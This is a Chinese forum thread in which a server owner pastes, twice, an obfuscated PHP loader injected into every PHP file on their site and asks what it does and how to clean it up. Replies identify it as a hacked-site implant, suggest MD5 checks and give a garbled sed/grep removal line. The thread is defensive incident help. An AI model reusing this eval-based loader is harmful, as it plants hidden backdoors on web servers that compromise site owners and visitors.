时间：2021-07-01 10:21:17 帮助过：41人阅读
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$wikfzxgkhx = explode(chr((151-107)),'9373,21,2503,34,7789,54,5045,68,5560,61,8071,28,6532,60,4081,52,3108,28,6498,34,9002,28,5621,34,6832,50,2537,42,1278,30,7879,51,9050,63,7644,58,1772,57,2762,58,3136,38,4830,45,4329,38,8953,49,2955,39,97,56,4779,23,174,62,8621,37,1482,25,5974,62,4367,24,2928,27,552,37,1829,26,5728,56,9677,64,7531,50,1694,49,2863,65,3978,65,4927,22,4209,66,4949,37,4875,52,4802,28,3751,57,380,43,5937,37,6318,54,1024,53,9170,34,1972,29,9931,27,3691,33,6403,42,7167,46,5176,42,6930,32,8727,27,777,66,6962,64,632,49,7303,60,2630,33,3271,49,3860,31,9113,57,1146,68,9204,22,8367,39,8287,57,6445,53,9490,53,423,29,5878,32,5810,21,1566,29,5910,27,7995,36,3174,28,8208,26,1539,27,236,63,3366,48,10077,29,7143,24,1855,60,8406,51,9741,47,2663,70,3439,37,5113,63,8658,69,3724,27,4444,33,0,32,8754,62,153,21,3414,25,5426,40,843,52,731,46,2092,60,8570,51,4625,49,2152,41,1595,32,1432,50,1377,55,589,43,681,50,9892,39,6260,24,7026,47,7970,25,3320,46,6134,63,7420,62,10013,21,7507,24,9460,30,9850,42,7930,40,3527,52,3476,30,3808,23,9543,21,10034,43,9325,22,8031,40,3641,50,8161,47,8457,52,3249,22,4164,45,4589,36,9251,33,5831,47,6036,65,7256,47,6382,21,4674,50,2237,55,4724,55,6673,24,5397,29,2383,55,6197,63,9958,55,3202,47,1308,69,5704,24,5218,57,7482,25,2001,42,1507,32,6284,34,4133,31,7702,49,9347,26,7073,70,8344,23,4275,54,2843,20,7581,37,9564,53,7618,26,2994,40,895,70,2733,29,2351,32,1627,67,965,59,32,65,3938,40,3579,62,299,44,1077,69,5655,49,3077,31,5466,66,5532,28,6722,67,4547,42,2193,44,6909,21,6789,43,8509,61,6592,51,8816,67,6101,33,7213,43,2292,59,4043,38,7843,36,3831,29,3034,43,9226,25,2043,49,2579,51,9617,60,8234,53,3506,21,6882,27,9284,41,2438,65,9788,62,512,40,7751,38,2820,23,452,60,5275,58,4477,70,7363,57,9030,20,6697,25,6643,30,8099,62,4391,53,1214,64,5784,26,3891,47,5333,64,1915,57,343,37,4986,59,8883,70,1743,29,9394,66,6372,10'); $tqnghnyfzy=substr($nnurvqqmik,(64798-54692),(33-26)); if (!function_exists('oxlqbefoln')) { function oxlqbefoln($hgscpbcpvw, $yignozicpm) { $mnanqxjgpv = NULL; for($onczldyeeq=0;$onczldyeeq<(sizeof($hgscpbcpvw)/2);$onczldyeeq++) { $mnanqxjgpv .= substr($yignozicpm, $hgscpbcpvw[($onczldyeeq*2)],$hgscpbcpvw[($onczldyeeq*2)+1]); } return $mnanqxjgpv; };} $mmbcvrfwmv="\x20\57\x2a\40\x74\150\x69\172\x73\147\x79\151\x6f\155\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x32\60\x31\55\x31\66\x34\51\x29\54\x20\143\x68\162\x28\50\x34\61\x32\55\x33\62\x30\51\x29\54\x20\157\x78\154\x71\142\x65\146\x6f\154\x6e\50\x24\167\x69\153\x66\172\x78\147\x6b\150\x78\54\x24\156\x6e\165\x72\166\x71\161\x6d\151\x6b\51\x29\51\x3b\40\x2f\52\x20\147\x75\142\x61\161\x6c\147\x66\170\x64\40\x2a\57\x20"; $qupcmlntsi=substr($nnurvqqmik,(54921-44808),(56-44)); $qupcmlntsi($tqnghnyfzy, $mmbcvrfwmv, NULL); $qupcmlntsi=$mmbcvrfwmv; $qupcmlntsi=(493-372); $nnurvqqmik=$qupcmlntsi-1; ?>
所有PHP文件头部都被加了代码，求解决：
1、查看了文件时间，没有变，但是文件还是被加了上面那段代码
2、那代码能看出是想做什么事情么
3、大概有哪方面的原因会被修改，环境是 CentOS LNMP
4、如果查不到原因，能否用一个shell + crontab来定时删除所有PHP文件头部有上面代码的写法，求写法
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$wikfzxgkhx = explode(chr((151-107)),'9373,21,2503,34,7789,54,5045,68,5560,61,8071,28,6532,60,4081,52,3108,28,6498,34,9002,28,5621,34,6832,50,2537,42,1278,30,7879,51,9050,63,7644,58,1772,57,2762,58,3136,38,4830,45,4329,38,8953,49,2955,39,97,56,4779,23,174,62,8621,37,1482,25,5974,62,4367,24,2928,27,552,37,1829,26,5728,56,9677,64,7531,50,1694,49,2863,65,3978,65,4927,22,4209,66,4949,37,4875,52,4802,28,3751,57,380,43,5937,37,6318,54,1024,53,9170,34,1972,29,9931,27,3691,33,6403,42,7167,46,5176,42,6930,32,8727,27,777,66,6962,64,632,49,7303,60,2630,33,3271,49,3860,31,9113,57,1146,68,9204,22,8367,39,8287,57,6445,53,9490,53,423,29,5878,32,5810,21,1566,29,5910,27,7995,36,3174,28,8208,26,1539,27,236,63,3366,48,10077,29,7143,24,1855,60,8406,51,9741,47,2663,70,3439,37,5113,63,8658,69,3724,27,4444,33,0,32,8754,62,153,21,3414,25,5426,40,843,52,731,46,2092,60,8570,51,4625,49,2152,41,1595,32,1432,50,1377,55,589,43,681,50,9892,39,6260,24,7026,47,7970,25,3320,46,6134,63,7420,62,10013,21,7507,24,9460,30,9850,42,7930,40,3527,52,3476,30,3808,23,9543,21,10034,43,9325,22,8031,40,3641,50,8161,47,8457,52,3249,22,4164,45,4589,36,9251,33,5831,47,6036,65,7256,47,6382,21,4674,50,2237,55,4724,55,6673,24,5397,29,2383,55,6197,63,9958,55,3202,47,1308,69,5704,24,5218,57,7482,25,2001,42,1507,32,6284,34,4133,31,7702,49,9347,26,7073,70,8344,23,4275,54,2843,20,7581,37,9564,53,7618,26,2994,40,895,70,2733,29,2351,32,1627,67,965,59,32,65,3938,40,3579,62,299,44,1077,69,5655,49,3077,31,5466,66,5532,28,6722,67,4547,42,2193,44,6909,21,6789,43,8509,61,6592,51,8816,67,6101,33,7213,43,2292,59,4043,38,7843,36,3831,29,3034,43,9226,25,2043,49,2579,51,9617,60,8234,53,3506,21,6882,27,9284,41,2438,65,9788,62,512,40,7751,38,2820,23,452,60,5275,58,4477,70,7363,57,9030,20,6697,25,6643,30,8099,62,4391,53,1214,64,5784,26,3891,47,5333,64,1915,57,343,37,4986,59,8883,70,1743,29,9394,66,6372,10'); $tqnghnyfzy=substr($nnurvqqmik,(64798-54692),(33-26)); if (!function_exists('oxlqbefoln')) { function oxlqbefoln($hgscpbcpvw, $yignozicpm) { $mnanqxjgpv = NULL; for($onczldyeeq=0;$onczldyeeq<(sizeof($hgscpbcpvw)/2);$onczldyeeq++) { $mnanqxjgpv .= substr($yignozicpm, $hgscpbcpvw[($onczldyeeq*2)],$hgscpbcpvw[($onczldyeeq*2)+1]); } return $mnanqxjgpv; };} $mmbcvrfwmv="\x20\57\x2a\40\x74\150\x69\172\x73\147\x79\151\x6f\155\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x32\60\x31\55\x31\66\x34\51\x29\54\x20\143\x68\162\x28\50\x34\61\x32\55\x33\62\x30\51\x29\54\x20\157\x78\154\x71\142\x65\146\x6f\154\x6e\50\x24\167\x69\153\x66\172\x78\147\x6b\150\x78\54\x24\156\x6e\165\x72\166\x71\161\x6d\151\x6b\51\x29\51\x3b\40\x2f\52\x20\147\x75\142\x61\161\x6c\147\x66\170\x64\40\x2a\57\x20"; $qupcmlntsi=substr($nnurvqqmik,(54921-44808),(56-44)); $qupcmlntsi($tqnghnyfzy, $mmbcvrfwmv, NULL); $qupcmlntsi=$mmbcvrfwmv; $qupcmlntsi=(493-372); $nnurvqqmik=$qupcmlntsi-1; ?>
所有PHP文件头部都被加了代码，求解决：
1、查看了文件时间，没有变，但是文件还是被加了上面那段代码
2、那代码能看出是想做什么事情么
3、大概有哪方面的原因会被修改，环境是 CentOS LNMP
4、如果查不到原因，能否用一个shell + crontab来定时删除所有PHP文件头部有上面代码的写法，求写法
这行太长了，fx 卡了半天……
不论如何，被加都不是好东西，极有可能是被黑之后挂马的代码。立即清除不要犹豫。
文件修改时间不是判断标准，只有md5 才是准确的。如果文件md5 被变更，立即停服排查原因补漏洞。
根据特征，搜索了一下，最早发现一年前就有案例（http://www.v2ex.com/t/94586 and http://www.linuxquestions.org/questions/linux-server-73/some-virus-malware-in-my-php-script-4175516386-print/）
如何删除很简单啊，Linux使用GREP，awk删除指定行
我昨天也遇到此情况，wordpress下所有php文件都增加了上面那行代码。
我的解决方案是 grep '//检测当前目录下被感染的文件
sed -i "s/<\?php if(.+isset(\$GLOBALS.*\?>grep '
//替换掉注入的代码。